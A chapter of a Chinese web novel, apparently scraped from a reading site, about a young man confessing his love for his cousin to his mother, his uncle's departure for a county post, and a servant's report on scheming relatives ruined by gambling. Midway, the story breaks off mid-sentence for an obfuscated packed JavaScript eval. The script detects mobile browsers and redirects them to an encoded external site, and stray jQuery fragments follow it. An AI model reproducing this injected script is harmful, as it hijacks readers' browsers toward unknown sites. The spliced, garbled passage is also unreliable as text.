“你这孩子，都多大了，旁人家跟你这年龄的多数都定亲了，成亲早的孩子都会跑了。再翻过年你可就整十八虚二十了。”


    肖庭昱生辰在十二月里，是以要虚上两岁，他却不爱这样算，且年岁几何，官府也只按户籍册子日子计算。


    看得出来，母亲是真担心他亲事迟迟没有眉目，年岁越拖越大。


    若以前，他认为男子当先立业，立业后成家又有何难，现在反倒觉着老话传的成家立业挺好，肖大舅母也说起这些，“都说先成家再立业，咱家的情况，立业不立业也没甚区别，而且你如今早就有了自己的事做，倒是亲事也该张罗起来了。阿昱啊，你若是有意，趁着你姑姑他们家还没搬走，你姑父也没走，就商量着定下来如何？我跟你说，你姑母可是很喜爱你，保准不会反对，我瞧着你姑母似乎也有结亲的意思。”


    她想着，先给儿子吃个定心丸，不过话没说的太满，不然万一不成免得他对姑母时不自在，行事算是极周密了。


    肖大舅母最后几句话自然让肖庭昱高兴不已，若是情绪外放之人，此时面上当喜不自禁欢笑起来，如此他一贯阴沉的面容也染上层悦色。


    只是想到阿宁如今待他不过寻常表兄妹情谊，悦色便散去些许。


    他一贯寡言，此时静默不语，肖大舅母便有些迫不及待，刚看他面色觉着有谱，“要不，我帮你跟你姑母透露下？”


    这孩子亲事一直是她这两年的头等心事，虽然夫君说他情况特殊，晚些成亲也无碍，但眼看着同龄公子或定亲或成亲，她便忍不住着急。


    夫君说阿昱的亲事得他自己瞧中了，如今总算有了些曙光，阿宁那孩子又是自家外甥女，性子好长得也好，当真是一桩好亲。若不是夫君交代和顾虑，上回大姑子提起话头时她真想直接应了。


    “母亲，先别说，”肖庭昱忙道，也不瞒她自己心思，“我确实心悦阿宁，”虽然不知情自何时起，但自己欺骗不了自己，他就是喜爱上了阿宁表妹。


    肖大舅母听他亲自承认，原先还有些顾虑的心登时稳了，喜笑道：“那可好，我就说下午时，看你瞧着阿宁那边出神，保管没看错……”


    虽肖庭昱自诩脸皮修炼的好，常年阴沉面容遮掩真实情绪，此时也忍不住不自在起来，轻咳一声，道：“只是我觉着阿宁尚未开窍，对我只寻常兄长之意。”


    肖大舅母笑容卡在脸上，没了方才的兴奋劲。


    可不是么，上回大姑子说了那话头意思后，她也悄悄留意过阿宁那孩子跟阿昱相处，发觉她眼中并无情愫。


    若说阿昱是情绪内敛的深沉，若非今日下午让她意外逮到那异样，未必叫人发现他心思。可阿宁不同，虽待外人时清冷冷模样，可自家人谁不知她就是个坦言直爽的小姑娘，她的心思可没那么容易藏住不叫人发现。


    就如阿昱所说，阿宁待阿昱只怕还真没什么心思。


    头一次，肖大舅母怨念起儿子，“怕不是你这性子太沉默少言，面色也不爱笑，”哪里是不爱笑，分明是阴沉沉叫人退避三舍。


    就她知道的，整个幽州府城的姑娘见了自家小儿子没有几个不畏惧的，这样还怎么叫小姑娘喜爱？那些姑娘也就算了，毕竟阿昱无意，可现在就怕阿宁也不喜他这阴沉面容。


    想到这里，肖大舅母忍不住按了按额头。


    “你跟阿宁说话相处时，能不能多笑笑，好歹别总沉着张脸，”说到这里，肖大舅母又止住了。


    心中叹息一声。


    说到底，还是孩子心中太过压抑。


    这么多年了，只怕随着越长大懂得越多，越沉重。


    孩子太过早慧，有时候也未必是好事。


    想了想，又道：“算了，”若真喜爱一个人，这些浮与表层的也不重要，“别想太多，阿宁是个好孩子，你真诚以待，她慢慢会懂得你的好。”


    这不是急得来的事。


    肖庭昱心道，他着急也没用，如今阿宁对他如寻常表兄妹，已经让他很高兴了。


    要知道，最初因着拐子那事，她可是一直都提防自己，直到来幽州途中走了大半路，才真正认可自己这个表兄。


    自己也好巧不巧，正好弄了一副她最不喜的大胡子模样，如今回府，他每日早起都将胡茬清理干净，都不敢跟以往似得几日才清理一次冒出来的胡茬。


    肖大舅母又道：“阿宁才来幽州，前几天也没怎么出去，等着我让阿冉陪她去逛逛，你做兄长的正好陪同。”


    她也只能是帮儿子多提供些机会，干涉太多反而不美。


    肖庭昱点了点头，他也是如此打算，最近外面的事也基本都交给下面的人去做了。


    看他这样子也是有成算，又是个沉得住的，肖大舅母放下心来，让他早点休息，便走了，路上还在琢磨怎么给两个人多制造些单独相处的机会。


    等寻个机会，给大姑子透露些口风，有她帮忙会更好。


    不过，接下来两天，肖氏忙着给姜父打点行李，肖大舅母手头的事也不少，又有客院肖杨氏一家，这话就这么耽搁下来。


    姜沅宁也帮着给姜父收拾东西，姜老爷子在隔日已经正式去上值了，加上云氏祖孙三代，最后给姜父准备了两大箱笼。


    “东西太多了，”姜父觉着没必要带这许多，“秋衫先不用带了吧，正是热的时候。”


    云氏不赞同，“得带上，万一下雨变天，早晚凉呢，总不能到时候现卖。就是多个马车的事，也不要你抬着。”指了旁边一个箱子，“这些都是给你准备送人的礼，到时候你看着打点下同僚上官，到时候还得买些点心果子之类的。”


    姜父能说什么，只能叫下人装上马车，加上他坐的马车统共三辆，这还不止。


    大表姐肖文筠嫁的正是蓟县县令长子，如今就在蓟县住，肖大舅母让姜父帮着给捎了不少东西。


    原本肖氏还打算亲自送姜父去上任，见东西不少，天又热来回也是折腾，索性只派了得用的管事嬷嬷过去打理。


    其实早在前两天，姜父就派人往蓟县租赁靠近蓟县县衙的小院子，昨日下人回来说院子已经租赁好，还采买了些简单的家具，人去后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15698887|145290||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便可直接入住。


    如此，肖氏更没必要亲自过去了，跟姜父说定，等他在蓟县稳定天气凉爽些后，一家人再过去一趟。左右他们不去，姜父逢休沐日可以回幽州府城，不过是两三个时辰的车程。


    而且，姜父这边走了，肖氏也考虑着搬家，搬去他们在外面买的院子。虽然住娘家挺自在，大家都处的好，时间久就不是回事了。


    ……


    又过两天，肖大舅派往济南府去的肖府下人终于返回幽州，带回调查所得消息。


    缘由倒也简单，没逃过一个“赌”字。


    肖氏少有族亲，肖老爷子那堂叔便是最近的血缘，当初那堂叔仗着认识了些地痞混子，算计了他们孤儿寡母家产去，在老家镇子上开了两间铺子，两个兄弟一人一间，又有良田十几倾，也算是小富百姓之家了。


    只是不知道是不是报应，当初跟着那堂弟一起算计肖老爷子的两个儿子，因此说亲很艰难，毕竟有心眼的都知道，这家连对堂兄弟孤儿寡母都下这黑手，嫁进去媳妇还不知受什么磋磨。


    加上，那位堂叔得了银钱，又眼馋肖老爷子会读书，即便丢了家产，也被夫子举荐去了外地书院，带了寡母娘一道出去读书，想要改换门庭，给儿子们寻那能识文断字的媳妇来，让孙儿们未来好得个脑子读书，或者借助岳家。


    那堂叔奔着这么个念头挑媳妇，可家中能叫女儿识文断字或者父兄会读书的，又注重名声，自是不愿跟这种人家沾边。


    如此，高不成低不就，相看了好几年，这两儿子亲事全耽搁下了，还因年岁大些，更不好说亲了。若不然，依着当初肖老爷子堂叔比他祖父小不了几岁，也不会到如今让肖丰年和肖大舅熬到一个辈分上。


    但有道是，有的是为了银钱卖儿女的，到底有人看中了这堂叔家聘礼，那大儿子便说了家家中有三个兄弟要成亲的媳妇。接着没两个月，这二儿子也说了门亲事，便是肖杨氏了。


    这两人是自己个看中的，当然其间据说是肖杨氏很豁得出去先跟这老二钻了柴火跺。


    之后，这大儿子成亲没两年就患了恶疾，几个月人就没了，留下年轻的小媳妇跟一个不满周岁的小闺女。


    若是依着当初这家人对肖老爷子家的手法，少不得又是弟夺家产，但这回不同的是，那小媳妇没有守着小闺女过，卷了长房的银钱带了孩子偷偷跟人跑了。


    后头肖杨氏这些人就守着剩下的钱财田产，之后跑镇子上开铺子，开了赔，过几年又不甘心又去折腾，直到最后开了个卖杂货的铺子，才勉强有了进项。


    只是，肖丰年在外面瞎混，染上了赌瘾，没两年就把铺子田产都败了进去。


    后来，有人就透露曾往幽州去，见到肖府富贵又当官，悄悄鼓动他们来幽州，与他们说来了肖府定能过上好日子云云，又逢肖宝财在书院犯了错被赶回来，这家人收拾收拾便离开济南府来了幽州投奔肖大舅一家。


    除了这些，还有肖月娥也是个能折腾的。


    据这位下人在济南府打探到的，从来就不是个安分的。